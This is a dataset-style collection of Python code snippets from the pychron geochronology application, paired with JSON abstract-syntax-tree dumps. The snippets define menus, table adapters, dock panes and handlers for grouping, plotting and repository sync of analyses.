def add_menu_factory(): fig_menu = MenuManager(Action(name='Add Inverse Isochron', action='add_inverse_isochron'), Action(name='Add Ideogram', action='add_ideogram'), Action(name='Add Spectrum', action='add_spectrum'), Action(name='Add Series', action='add_series'), name='Figure', ) grp_menu = MenuManager(Action(name='Add Grouping', action='add_grouping'), Action(name='Add Graph Grouping', action='add_graph_grouping'), Action(name='Add SubGrouping', action='add_subgrouping'), name='Grouping') filter_menu = MenuManager(Action(name='Add Filter', action='add_filter'), Action(name='Add MSWD Filter', action='add_mswd_filter'), name='Filter') return MenuManager(Action(name='Add Unknowns', action='add_data'), Action(name='Add Interpreted Ages', action='add_interpreted_ages'), grp_menu, filter_menu, fig_menu, Action(name='Add Set IA', action='add_set_interpreted_age'), Action(name='Add Review', action='add_review'), Action(name='Add Audit', action='add_audit'), Action(name='Add Push'), name='Add')
889
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7
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def save_menu_factory(): return MenuManager(Action(name='Save PDF Figure', action='add_pdf_figure'), Action(name='Save Iso Evo', action='add_iso_evo_persist'), Action(name='Save Blanks', action='add_blanks_persist'), Action(name='Save ICFactor', action='add_icfactor_persist'), name='Save')
890
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7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Chain Ideogram"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "chain_ideogram"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Chain Isotope Evolution"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "chain_isotope_evolution"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Chain Spectrum"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "chain_spectrum"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Chain Blanks"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "chain_blanks"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Chain ICFactors"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "chain_icfactors"}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "MenuManager", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Chain"}}}}]}}}}], "name": "chain_menu_factory", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def chain_menu_factory(): return MenuManager(Action(name='Chain Ideogram', action='chain_ideogram'), Action(name='Chain Isotope Evolution', action='chain_isotope_evolution'), Action(name='Chain Spectrum', action='chain_spectrum'), Action(name='Chain Blanks', action='chain_blanks'), Action(name='Chain ICFactors', action='chain_icfactors'), name='Chain')
891
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def get_bg_color(self, obj, trait, row, column=0): if self.item.tag == 'invalid': c = '#C9C5C5' elif self.item.is_omitted(): c = '#FAC0C0' else: c = super(BaseAnalysesAdapter, self).get_bg_color(obj, trait, row, column) return c
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"ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "get_bg_color", "value": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "BaseAnalysesAdapter", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Name", "_fields": {"id": "super", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}, "keywords": []}}, "targets": [{"_type": "Name", "_fields": {"id": "c", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}]}}]}}, {"_type": "Return", "_fields": {"value": {"_type": "Name", "_fields": {"id": "c", "ctx": {"_type": "Load", "_fields": {}}}}}}], "name": "get_bg_color", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "BaseAnalysesAdapter", "bases": [{"_type": "Name", "_fields": {"id": "TabularAdapter", "ctx": {"_type": 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class BaseAnalysesAdapter(TabularAdapter, ConfigurableMixin): font = 'arial 10' rundate_text = Property record_id_width = Int(80) tag_width = Int(50) sample_width = Int(80) def _get_rundate_text(self): try: r = self.item.rundate.strftime('%m-%d-%Y %H:%M') except AttributeError: r = '' return r def get_bg_color(self, obj, trait, row, column=0): if self.item.tag == 'invalid': c = '#C9C5C5' elif self.item.is_omitted(): c = '#FAC0C0' else: c = super(BaseAnalysesAdapter, self).get_bg_color(obj, trait, row, column) return c
893
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"UnknownsAdapter", "bases": [{"_type": "Name", "_fields": {"id": "BaseAnalysesAdapter", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class UnknownsAdapter(BaseAnalysesAdapter): columns = [('Run ID', 'record_id'), ('Sample', 'sample'), ('Age', 'age'), ('Comment', 'comment'), ('Tag', 'tag'), ('GroupID', 'group_id')] all_columns = [('RunDate', 'rundate'), ('Run ID', 'record_id'), ('Aliquot', 'aliquot'), ('Step', 'step'), ('UUID', 'display_uuid'), ('Sample', 'sample'), ('Project', 'project'), ('RepositoryID', 'repository_identifier'), ('Age', 'age'), ('Age {}'.format(PLUSMINUS_ONE_SIGMA), 'age_error'), ('F', 'f'), ('F {}'.format(PLUSMINUS_ONE_SIGMA), 'f_error'), ('Saved J', 'j'), ('Saved J {}'.format(PLUSMINUS_ONE_SIGMA), 'j_error'), ('Model J', 'model_j'), ('Model J {}'.format(PLUSMINUS_ONE_SIGMA), 'model_j_error'), ('Model J Kind', 'model_j_kind'), ('Comment', 'comment'), ('Tag', 'tag'), ('GroupID', 'group_id'), ('GraphID', 'graph_id')] age_width = Int(70) error_width = Int(60) graph_id_width = Int(30) age_text = Property age_error_text = Property j_error_text = Property j_text = Property f_error_text = Property f_text = Property model_j_error_text = Property model_j_text = Property def __init__(self, *args, **kw): super(UnknownsAdapter, self).__init__(*args, **kw) # self._ncolors = len(colornames) self.set_colors(colornames) def set_colors(self, colors): self._colors = colors self._ncolors = len(colors) def get_menu(self, obj, trait, row, column): grp = MenuManager(Action(name='Group Selected', action='unknowns_group_by_selected'), Action(name='Aux Group Selected', action='unknowns_aux_group_by_selected'), Action(name='Group by Sample', action='unknowns_group_by_sample'), Action(name='Group by Aliquot', action='unknowns_group_by_aliquot'), Action(name='Group by Identifier', action='unknowns_group_by_identifier'), Action(name='Clear Group', action='unknowns_clear_grouping'), Action(name='Clear All Group', action='unknowns_clear_all_grouping'), name='Plot Grouping') return MenuManager(Action(name='Recall', action='recall_unknowns'), Action(name='Graph Group Selected', action='unknowns_graph_group_by_selected'), Action(name='Save Analysis Group', action='save_analysis_group'), Action(name='Configure', action='configure_unknowns'), grp) def _get_f_text(self): r = floatfmt(self.item.f, n=4) return r def _get_f_error_text(self): r = floatfmt(self.item.f_err, n=4) return r def _get_j_text(self): r = floatfmt(nominal_value(self.item.j), n=8) return r def _get_j_error_text(self): r = floatfmt(std_dev(self.item.j), n=8) return r def _get_model_j_text(self): r = '' if self.item.modeled_j: r = floatfmt(nominal_value(self.item.modeled_j), n=8) return r def _get_model_j_error_text(self): r = '' if self.item.modeled_j: r = floatfmt(std_dev(self.item.modeled_j), n=8) return r def _get_age_text(self): r = floatfmt(nominal_value(self.item.uage), n=3) return r def _get_age_error_text(self): r = floatfmt(std_dev(self.item.uage), n=4) return r def get_text_color(self, obj, trait, row, column=0): color = 'black' item = getattr(obj, trait)[row] gid = item.group_id or item.aux_id cid = gid % self._ncolors if self._ncolors else 0 try: color = self._colors[cid] except IndexError: pass return color
894
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7
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def get_menu(self, obj, trait, row, column): grp = MenuManager(Action(name='Group Selected', action='unknowns_group_by_selected'), Action(name='Aux Group Selected', action='unknowns_aux_group_by_selected'), Action(name='Group by Sample', action='unknowns_group_by_sample'), Action(name='Group by Aliquot', action='unknowns_group_by_aliquot'), Action(name='Group by Identifier', action='unknowns_group_by_identifier'), Action(name='Clear Group', action='unknowns_clear_grouping'), Action(name='Clear All Group', action='unknowns_clear_all_grouping'), name='Plot Grouping') return MenuManager(Action(name='Recall', action='recall_unknowns'), Action(name='Graph Group Selected', action='unknowns_graph_group_by_selected'), Action(name='Save Analysis Group', action='save_analysis_group'), Action(name='Configure', action='configure_unknowns'), grp)
895
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9
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class AnalysesPaneHandler(Handler): def unknowns_group_by_sample(self, info, obj): obj = info.ui.context['object'] obj.unknowns_group_by('sample') def unknowns_group_by_identifier(self, info, obj): obj = info.ui.context['object'] obj.unknowns_group_by('identifier') def unknowns_group_by_aliquot(self, info, obj): obj = info.ui.context['object'] obj.unknowns_group_by('aliquot') def unknowns_graph_group_by_selected(self, info, obj): obj = info.ui.context['object'] obj.group_selected('graph_id') def unknowns_group_by_selected(self, info, obj): obj = info.ui.context['object'] obj.group_selected('group_id') def unknowns_aux_group_by_selected(self, info, obj): obj = info.ui.context['object'] obj.group_selected('aux_id') def unknowns_clear_grouping(self, info, obj): obj = info.ui.context['object'] obj.unknowns_clear_grouping() def unknowns_clear_all_grouping(self, info, obj): obj = info.ui.context['object'] obj.unknowns_clear_all_grouping() def save_analysis_group(self, info, obj): obj = info.ui.context['object'] obj.save_analysis_group() def recall_unknowns(self, info, obj): obj = info.ui.context['object'] obj.recall_unknowns() def recall_references(self, info, obj): obj = info.ui.context['object'] obj.recall_references() def configure_unknowns(self, info, obj): pane = info.ui.context['pane'] pane.configure_unknowns() def configure_references(self, info, obj): pane = info.ui.context['pane'] pane.configure_references()
896
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{"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Recall"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "recall_references"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Configure"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "configure_references"}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "MenuManager", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}], "name": "get_menu", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "ReferencesAdapter", "bases": [{"_type": "Name", "_fields": {"id": "BaseAnalysesAdapter", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class ReferencesAdapter(BaseAnalysesAdapter): columns = [('Run ID', 'record_id'), ('Comment', 'comment')] all_columns = [('RunDate', 'rundate'), ('Run ID', 'record_id'), ('Aliquot', 'aliquot'), ('UUID', 'display_uuid'), ('Sample', 'sample'), ('Project', 'project'), ('RepositoryID', 'repository_identifier'), ('Comment', 'comment'), ('Tag', 'tag')] def get_menu(self, object, trait, row, column): return MenuManager(Action(name='Recall', action='recall_references'), Action(name='Configure', action='configure_references'))
897
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{"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, {"_type": "keyword", "_fields": {"arg": "update", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "refresh_table_needed"}}}}, {"_type": "keyword", "_fields": {"arg": "multi_select", "value": {"_type": "Constant", "_fields": {"kind": null, "value": true}}}}, {"_type": "keyword", "_fields": {"arg": "dclicked", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "dclicked_references"}}}}, {"_type": "keyword", "_fields": {"arg": "selected", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "selected_references"}}}}, {"_type": "keyword", "_fields": {"arg": "operations", "value": {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {"kind": null, "value": "delete"}}]}}}}]}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "VGroup", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}], "func": {"_type": "Name", "_fields": {"id": "View", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "handler", "value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "AnalysesPaneHandler", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}]}}, "targets": [{"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Return", "_fields": {"value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}], "name": "traits_view", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "AnalysesPane", "bases": [{"_type": "Name", "_fields": {"id": "TraitsDockPane", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class AnalysesPane(TraitsDockPane): name = 'Analyses' id = 'pychron.pipeline.analyses' unknowns_adapter = Instance(UnknownsAdapter) unknowns_table_configurer = Instance(UnknownsTableConfigurer, ()) references_adapter = Instance(ReferencesAdapter) references_table_configurer = Instance(ReferencesTableConfigurer, ()) def configure_unknowns(self): self.unknowns_table_configurer.edit_traits() def configure_references(self): self.references_table_configurer.edit_traits() def _unknowns_adapter_default(self): a = UnknownsAdapter() self.unknowns_table_configurer.set_adapter(a) return a def _references_adapter_default(self): a = ReferencesAdapter() self.references_table_configurer.set_adapter(a) return a def traits_view(self): v = View(VGroup(UItem('object.selected.unknowns', width=200, editor=TabularEditor(adapter=self.unknowns_adapter, update='refresh_table_needed', multi_select=True, column_clicked='object.selected.column_clicked', # drag_external=True, # drop_factory=self.model.drop_factory, dclicked='dclicked_unknowns', selected='selected_unknowns', operations=['delete'])), UItem('object.selected.references', visible_when='object.selected.references', editor=TabularEditor(adapter=self.references_adapter, update='refresh_table_needed', # drag_external=True, multi_select=True, dclicked='dclicked_references', selected='selected_references', operations=['delete']))), handler=AnalysesPaneHandler()) return v
898
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def traits_view(self): v = View(VGroup(UItem('object.selected.unknowns', width=200, editor=TabularEditor(adapter=self.unknowns_adapter, update='refresh_table_needed', multi_select=True, column_clicked='object.selected.column_clicked', # drag_external=True, # drop_factory=self.model.drop_factory, dclicked='dclicked_unknowns', selected='selected_unknowns', operations=['delete'])), UItem('object.selected.references', visible_when='object.selected.references', editor=TabularEditor(adapter=self.references_adapter, update='refresh_table_needed', # drag_external=True, multi_select=True, dclicked='dclicked_references', selected='selected_references', operations=['delete']))), handler=AnalysesPaneHandler()) return v
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class RepositoryPaneHandler(Handler): def refresh_repository_status(self, info, obj): obj.refresh_repository_status() def pull(self, info, obj): obj.pull() def push(self, info, obj): obj.push() def delete_local_changes(self, info, obj): obj.delete_local_changes() obj.refresh_repository_status()
900
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class RepositoryTabularAdapter(TabularAdapter): columns = [('Name', 'name'), ('Ahead', 'ahead'), ('Behind', 'behind')] def get_menu(self, obj, trait, row, column): return MenuManager(Action(name='Refresh Status', action='refresh_repository_status'), Action(name='Get Changes', action='pull'), Action(name='Share Changes', action='push'), Action(name='Delete Local Changes', action='delete_local_changes')) def get_bg_color(self, obj, trait, row, column=0): if self.item.behind: c = LIGHT_RED elif self.item.ahead: c = LIGHT_YELLOW else: c = 'white' return c